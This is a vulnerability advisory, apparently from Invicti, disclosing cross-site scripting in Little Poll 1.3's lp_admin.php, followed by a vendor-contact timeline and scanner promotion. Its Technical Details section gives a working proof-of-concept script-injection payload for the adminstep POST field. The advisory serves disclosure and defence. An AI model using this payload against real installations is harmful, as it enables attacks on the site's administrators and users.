XSS Vulnerability in Little Poll

Information

Advisory by Netsparker (now Invicti)
Name: XSS Vulnerability in Little Poll
Affected Software: Little Poll
Affected Versions: 1.3 and possibly below
Vendor Homepage: http://www.mr-corner.com/LittlePoll/
Vulnerability Type: Cross-site Scripting
Severity: Important
Invicti Advisory Reference: NS-14-033

Description

The Amazing Little Poll is a very simple php polling script..

Technical Details

Proof of Concept URLs for XSS in Little Poll:

http://example.com/little/lp_admin.php (POST, fields: adminstep)
'"--></style></scRipt><scRipt>alert(0x000010)</scRipt>

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

06/06/2014 – First contact – No answer
12/06/2014 – Second contact – No answer
27/11/2014 – Advisory released

Credits & Authors

These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti

Invicti can find and report security issues and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications regardless of the platform and the technology they are built on. Invicti’s unique detection and exploitation techniques allows it to be dead accurate in reporting hence it’s the first and the only False Positive Free web application security scanner.